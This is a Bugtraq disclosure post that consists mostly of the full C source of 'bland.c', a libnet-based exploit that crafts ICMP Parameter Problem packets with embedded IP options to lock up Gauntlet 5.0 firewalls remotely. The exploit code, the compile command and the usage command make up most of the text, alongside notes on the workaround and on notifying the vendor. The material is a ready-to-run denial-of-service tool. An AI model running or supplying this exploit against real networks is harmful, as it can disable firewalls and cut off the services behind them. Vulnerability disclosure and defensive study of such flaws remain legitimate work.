Subject: Remotely Lock Up Gauntlet 5.0 To: BUGTRAQ@SECURITYFOCUS.COM /* * Discovered and written by: <- Send money to :-) * aka Mike Frantzen <- Reply to * * Network Associates: "Who's watching your network?" * MSG.net "Who's watching the watchers?" * * This can be found online at http://www.msg.net/firewalls/tis/bland.c * * Description: * If you know an IP that will be routed through a Gauntlet 5.0 Firewall, * you can remotely lock up the firewall (tested against Solaris 2.6 and * BSDI). It locks up to the point that one packet will disable STOP-A * (L1-A) on Sparcs and ~3-5 packets will disable Ctrl-Alt-Del on BSDI * (Ctrl-Alt-Del still prompts Y/N but it never reboots). * * **You can NOT send this to the Gauntlet's IP. The packet must be one * **that would go through the forwarding code. * * If you are on local ether to the firewall, set it as your default route * or otherwise send the packet to the firewall's MAC. * * The packet is parsed before the packet filtering rules in Gauntlet. So * the only known work-around is to ACL out ICMP type 12 at your screening * router. * Or you could switch to Gauntlet 5.5 which (in the beta) does not seem to * be vulnerable -- but 5.5 introduces some new 'issues'. * * * Technical Description of the packet: * The packet is an ICMP Paramater Problem packet that encapsulates an IP * packet with IP Options. There is a random protocol in the encapsulated * IP packet. The trick is: the inner packet MUST have IP Options. Some * options work, some don't. * The firewall apparently is looking for the packet (or an entry in its * transparency table) that matches the encapsulated packet. It just keeps * looking.... It likely has interrupts masked off on Solaris. * * * You need libnet to link this against. It's a pretty spiffy lib. * http://www.infonexus.com/~daemon9/Projects/Libnet * http://www.packetfactory.net/libnet * * * For da script kiddies: * Compile with 'gcc -o bland bland.c -lnet' * ./bland -d * (Did you remember to install Libnet???) * * * If it doesn't compile on your machine: I DON'T CARE!!! This program was * a quick and dirty hack. You try reading a hexdump of a packet off the * wire and writing something that can reproduce it. * I know it compiles and works from FreeBSD 3.1 * * * Network Associates (TIS) was notified two weeks ago and they are working * on a patch. * * * Plugs: * ISIC -- Program I used (and wrote) to find bugs in Gauntlet's IP stack. * http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz * Libnet -- Was able to write the basic exploit in 20 minutes because of * libnet. See libnet link above. Thanks go out to Route! * * * Credits: * Mike Frantzen Hey, thats me! * Mike Scher * Kevin Kadow <- Gauntlet Random Seed Hole * Lenard Lynch * Viki Navratilova */ #include int main(int argc, char **argv) { u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0; u_long *problem = NULL; u_char *packet = NULL; int sock, c, len = 0; long acx, count = 1; struct icmp *icmp; struct ip *ip; /* It appears that most IP options of length >0 will work * Works with 128, 64, 32, 16... And the normal ones 137... * Does not work with 0, 1 */ u_char data[] = {137}; int data_len = sizeof(data); printf("Written by Mike Frantzen... \n"); printf("For test purposes only... yada yada yada...\n"); src_ip = inet_addr("10.10.10.10"); while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) { switch(c) { case 'd': dst_ip = libnet_name_resolve(optarg, 1); break; case 's': src_ip = libnet_name_resolve(optarg, 1); break; case 'D': ins_dst_ip = name_resolve(optarg, 1); break; case 'S': ins_src_ip = name_resolve(optarg, 1); break; case 'l': data_len = atoi(optarg); break; case 'c': if ( (count = atol(optarg)) < 1) count = 1; break; default: printf("Don't understand option.\n"); exit(-1); } } if ( dst_ip == 0 ) { printf("Usage: %s\t -d \t[-s ]\n", rindex(argv[0], '/') == NULL ? argv[0] : rindex(argv[0], '/') + 1); printf("\t\t[-S ]\t[-D ]\n"); printf("\t\t[-l ]\t[-c <# to send>]\n"); exit(-1); } if ( ins_dst_ip == 0 ) ins_dst_ip = src_ip; if ( ins_src_ip == 0 ) ins_src_ip = dst_ip; if ( (packet = malloc(1500)) == NULL ) { perror("malloc: "); exit(-1); } if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) { perror("socket: "); exit(-1); } /* 8 is the length of the ICMP header with the problem field */ len = 8 + IP_H + data_len; bzero(packet + IP_H, len); libnet_build_ip(len, /* Size of the payload */ 0xc2, /* IP tos */ 30241, /* IP ID */ 0, /* Frag Offset & Flags */ 64, /* TTL */ IPPROTO_ICMP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload */ 0, packet); /* Packet memory */ /* ICMP Header for Parameter Problem * --------------+---------------+---------------+--------------- *| Type (12) | Code (0) | Checksum | * --------------+---------------+---------------+--------------- *| Pointer | unused | * --------------+---------------+---------------+--------------- * Internet Header + 64 bits of original datagram data.... */ icmp = (struct icmp *) (packet + IP_H); problem = (u_long *) (packet + IP_H + 4); /* 4 = ICMP header */ icmp->icmp_type = ICMP_PARAMPROB; icmp->icmp_code = 0; /* Indicates a problem pointer */ *problem = htonl(0x14000000); /* Problem is 20 bytes into it */ /* Need to embed an IP packet within the ICMP */ ip = (struct ip *) (packet + IP_H + 8); /* 8 = icmp header */ ip->ip_v = 0x4; /* IPV4 */ ip->ip_hl = 0xf; /* Some IP Options */ ip->ip_tos = 0xa3; /* Whatever */ ip->ip_len = htons(data_len); /* Length of packet */ ip->ip_id = 30241; /* Whatever */ ip->ip_off = 0; /* No frag's */ ip->ip_ttl = 32; /* Whatever */ ip->ip_p = 98; /* Random protocol */ ip->ip_sum = 0; /* Will calc later */ ip->ip_src.s_addr = ins_src_ip; ip->ip_dst.s_addr = ins_dst_ip; /* Move our data block into the packet */ bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len); /* I hate checksuming. Spent a day trying to get it to work in * perl... That sucked... Tequilla would have helped immensly. */ libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len); /* Bah... See above comment.... */ libnet_do_checksum(packet, IPPROTO_ICMP, len); printf("Sending %li packets", count); for (acx = 0; acx < count; acx++) { if( libnet_write_ip(sock, packet, len + IP_H) < (len + IP_H)) perror("write_ip: "); else printf("."); } printf("\n\n"); return( 0 ); }